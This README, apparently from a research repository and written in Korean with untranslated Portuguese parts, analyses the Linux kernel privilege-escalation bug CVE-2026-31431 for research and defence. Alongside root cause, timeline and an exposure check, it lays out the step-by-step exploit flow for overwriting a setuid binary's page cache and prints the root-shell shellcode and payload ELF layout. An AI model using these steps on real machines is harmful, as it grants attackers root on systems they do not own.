
CVE-2026-31431에 대한 교육적 분석: AF_ALG AEAD 제자리(in-place) 연산을 통한 Linux 커널 로컬 권한 상승, 기술적 근본 원인, 탐지 및 완화 방법을 포함합니다.
교육용 기술 분석 — Dirty Pipe(2022) 이후 Linux 커널에서 가장 중요한 취약점 중 하나.
이 저장소는 연구, 학습 및 방어를 위한 것입니다. 여기에는 작동 가능한 익스플로잇이 배포되지 않습니다.
CVE-2026-31431, 일명 Copy Fail은 Linux 커널의 로컬 권한 상승(LPE — Local Privilege Escalation) 취약점입니다. 권한이 없는 모든 사용자가 몇 초 만에 root 액세스 권한을 얻을 수 있습니다.
| 속성 | 값 |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS 점수 | 7.8 HIGH |
| 유형 | 로컬 권한 상승 (LPE) |
| 하위 시스템 | crypto/algif_aead.c — AF_ALG |
| 도입 시점 | 커널 4.14 (커밋 72548b093ee3, 2017년 7월) |
| 수정 시점 | 6.18.22 / 6.19.12 / 7.0 (커밋 a664bf3d603d) |
| 발견자 | Taeyang Lee — Theori / Xint Code |
| 공개 공개 | 2026년 4월 29일 |
| 공개 PoC | 예 — 약 732바이트 Python 스크립트 |
운영 체제에 작업 메모리(page cache라고 함)가 있다고 상상해 보세요. 여기에는 사용 중인 파일의 복사본이 저장됩니다. 프로그램을 실행하면 시스템이 해당 프로그램을 이 메모리에 로드하고 디스크에서 직접 실행하는 대신 그곳에서 실행합니다.
Copy Fail을 사용하면 일반 사용자가 디스크의 원본 파일을 건드리지 않고 특수 프로그램(setuid 바이너리, 예: su 명령)의 메모리 내 복사본을 변경할 수 있습니다. 디스크의 파일은 그대로 유지되지만, 프로그램이 실행될 때 시스템은 손상된 메모리 버전을 읽습니다.
요리하는 동안 셰프의 기억 속 요리법을 바꾸는 것과 같습니다. 원본 요리책은 변하지 않지만, 나오는 요리는 완전히 달라집니다.
결과: 손상된 프로그램이 root 권한으로 공격자의 코드를 실행합니다.
특히 위험한 이유:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## 기술적으로 어떻게 작동하나요
### 흐름 개요```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
버그는 crypto/algif_aead.c에 있습니다. 2017년, 성능 향상을 위해 AEAD 연산이 in-place 방식으로 전환되었습니다.```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
`authencesn` 알고리즘은 IPsec의 Extended Sequence Number(ESN) 바이트를 재배열하기 위해 대상 버퍼를 *스크래치 공간*으로 사용합니다:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
쓰기는 VFS를 완전히 우회합니다. 수정된 페이지는 커널의 writeback 메커니즘에 의해 dirty로 표시되지 않습니다. 디스크의 파일은 그대로 유지됩니다. 해시 기반 무결성 도구(aide, tripwire, inotifywait)는 디스크를 모니터링하고 page cache를 모니터링하지 않기 때문에 아무것도 감지하지 못합니다.
이 익스플로잇은 zlib으로 압축된 160바이트의 미니 ELF를 내장합니다. 압축 해제 후, 실행 가능한 부분은 다음과 같습니다:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**최소 ELF 구조 (총 160바이트):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |
|---|---|---|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| 유형 | CoW의 경쟁 조건 | 플래그 없는 파이프 버퍼 | AEAD의 로직 버그 |
| 신뢰성 | 경쟁 의존적(~ms) | 결정적 | 결정적 |
| 디스크 흔적 | 있음(dirty pages) | 없음 | 없음 |
| 이식성 | 광범위 | 특정 버전 | 범용(2017–2026) |
| PoC 크기 | C 약 50줄 | C 약 40줄 | Python 약 10줄 |
| 하위 시스템 | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| 발견 방식 | 수동 | 수동 | AI 지원 |
| 공격 가능 창 | 경쟁 창 | 없음 | 없음 |
커널 버전:
기능적 익스플로잇이 확인된 배포판:
필수 조건: 커널에서 CONFIG_CRYPTO_USER_API_AEAD=y 또는 =m
시스템 노출 여부 확인:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Android가 영향을 받나요?
**짧은 답변:** 기본 Android(AOSP/GKI)는 실제로 **취약하지 않지만**, 비표준 설정을 사용하는 기기는 확인이 필요합니다.